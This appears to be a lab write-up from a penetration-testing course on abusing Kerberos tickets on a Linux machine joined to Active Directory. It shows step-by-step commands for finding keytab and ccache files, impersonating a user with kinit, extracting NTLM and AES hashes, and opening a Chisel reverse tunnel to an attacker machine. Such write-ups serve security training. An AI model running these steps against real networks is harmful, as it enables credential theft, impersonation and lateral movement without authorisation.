Rare, but sometimes Linux machine is on Active Directory environment. This exposes several security risks, so it is not recommended.
Kerberos tickets are saved in /tmp as the ccache files.
If we don’t know where Kerberos tickets are stored, we can check the environment variable KRB5CCNAME.
Kerberos principals and encrypted keys are stored in keytab files.
Let’s identify if Linux machine is already on the domain.
Linux usually uses realm, sssd, or winbind to join AD environment.
david@inlanefreight.htb@linux01:~$ realm list
 
inlanefreight.htb
  type: kerberos
  realm-name: INLANEFREIGHT.HTB
  domain-name: inlanefreight.htb
  configured: kerberos-member
  server-software: active-directory
  client-software: sssd
  required-package: sssd-tools
  required-package: sssd
  required-package: libnss-sss
  required-package: libpam-sss
  required-package: adcli
  required-package: samba-common-bin
  login-formats: %U@inlanefreight.htb
  login-policy: allow-permitted-logins
  permitted-logins: david@inlanefreight.htb, julio@inlanefreight.htb
  permitted-groups: Linux AdminsIf realm is not available, check for sssd and winbind.
david@inlanefreight.htb@linux01:~$ ps -ef | grep -i "winbind\|sssd"
 
root        2140       1  0 Sep29 ?        00:00:01 /usr/sbin/sssd -i --logger=files
root        2141    2140  0 Sep29 ?        00:00:08 /usr/libexec/sssd/sssd_be --domain inlanefreight.htb --uid 0 --gid 0 --logger=files
root        2142    2140  0 Sep29 ?        00:00:03 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
root        2143    2140  0 Sep29 ?        00:00:03 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=filesFind Kerberos Ticket
find
When Kerberos ticket is created with a script, extension is usually .keytab.
david@inlanefreight.htb@linux01:~$ find / -name *keytab* -ls 2>/dev/null
 
<SNIP>
 
   131610      4 -rw-------   1 root     root         1348 Oct  4 16:26 /etc/krb5.keytab
   262169      4 -rw-rw-rw-   1 root     root          216 Oct 12 15:13 /opt/specialfiles/carlos.keytabcronjobs
Cronjob might be used to run Kerberos.
carlos@inlanefreight.htb@linux01:~$ crontab -l
 
# Edit this file to introduce tasks to be run by cron.
# 
<SNIP>
# 
# m h  dom mon dow   command
*5/ * * * * /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
carlos@inlanefreight.htb@linux01:~$ cat /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
#!/bin/bash
 
kinit svc_workstations@INLANEFREIGHT.HTB -k -t /home/carlos@inlanefreight.htb/.scripts/svc_workstations.kt
smbclient //dc01.inlanefreight.htb/svc_workstations -c 'ls'  -k -no-pass > /home/carlos@inlanefreight.htb/script-test-results.txtFind ccache File
ccache holds Kerberos credentials whil they remain valid.
When user authenticates to the domain, ccache file is created.
We can find the find the file from KRB5CCNAME environment variable.
david@inlanefreight.htb@linux01:~$ env | grep -i krb5
 
KRB5CCNAME=FILE:/tmp/krb5cc_647402606_qd2PfhAbuse KeyTab
We can impersonate user using kinit
klist can be used to interact with Kerberos on Linux.
Let’s first find out to which user the ticket belongs to:
david@inlanefreight.htb@linux01:~$ klist -k -t 
 
/opt/specialfiles/carlos.keytab 
Keytab name: FILE:/opt/specialfiles/carlos.keytab
KVNO Timestamp           Principal
---- ------------------- ------------------------------------------------------
   1 10/06/2022 17:09:13 carlos@INLANEFREIGHT.HTBNow that we know the ticket belongs to carlos, we can impersonate the user using kinit:
david@inlanefreight.htb@linux01:~$ klist 
 
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: david@INLANEFREIGHT.HTB
 
Valid starting     Expires            Service principal
10/06/22 17:02:11  10/07/22 03:02:11  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
        renew until 10/07/22 17:02:11
 
david@inlanefreight.htb@linux01:~$ kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab
david@inlanefreight.htb@linux01:~$ klist 
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: carlos@INLANEFREIGHT.HTB
 
Valid starting     Expires            Service principal
10/06/22 17:16:11  10/07/22 03:16:11  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
        renew until 10/07/22 17:16:11Let’s verify our access as such:
david@inlanefreight.htb@linux01:~$ smbclient //dc01/carlos -k -c ls
 
  .                                   D        0  Thu Oct  6 14:46:26 2022
  ..                                  D        0  Thu Oct  6 14:46:26 2022
  carlos.txt                          A       15  Thu Oct  6 14:46:54 2022
 
                7706623 blocks of size 4096. 4452852 blocks availableKeytab Extract
We can extract secrets from a keytab file.
We can attempt to crack the target account’s password getting the hash from keytab file.
KeyTabExtractcould be used for this.
david@inlanefreight.htb@linux01:~$ python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab 
 
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
        REALM : INLANEFREIGHT.HTB
        SERVICE PRINCIPAL : carlos/
        NTLM HASH : a738f92b3c08b424ec2d99589a9cce60
        AES-256 HASH : 42ff0baa586963d9010584eb9590595e8cd47c489e25e82aae69b1de2943007f
        AES-128 HASH : fa74d5abf4061baa1d4ff8485d1261c4Now that we have the NTLM hahs, we can do PtH.
With AES256 or ES128 hash, we can fake the ticket using Rubeus or crack it.
Tunneling for Kerberos
Let’s say scenario is like this:
Attacker → MS01 → Linux01 → KDC
We need to tunnel network from Linux01 to Attacker.
Tools such as Chisel and Proxychains can be used for this.
proxychains
Let’s first modify the host file:
jadu101@htb[/htb]$ cat /etc/hosts
 
# Host addresses
 
172.16.1.10 inlanefreight.htb   inlanefreight   dc01.inlanefreight.htb  dc01
172.16.1.5  ms01.inlanefreight.htb  ms01Now modify proxychains configuration file to use socks5 and port 1080:
jadu101@htb[/htb]$ cat /etc/proxychains.conf
 
<SNIP>
 
[ProxyList]
socks5 127.0.0.1 1080Start Chisel server on attacker machine:
jadu101@htb[/htb]$ sudo ./chisel server --reverse 
 
2022/10/10 07:26:15 server: Reverse tunneling enabled
2022/10/10 07:26:15 server: Fingerprint 58EulHjQXAOsBRpxk232323sdLHd0r3r2nrdVYoYeVM=
2022/10/10 07:26:15 server: Listening on http://0.0.0.0:8080Now on MS01, execute chisel client:
C:\htb> c:\tools\chisel.exe client 10.10.14.33:8080 R:socks
 
2022/10/10 06:34:19 client: Connecting to ws://10.10.14.33:8080
2022/10/10 06:34:20 client: Connected (Latency 125.6177ms)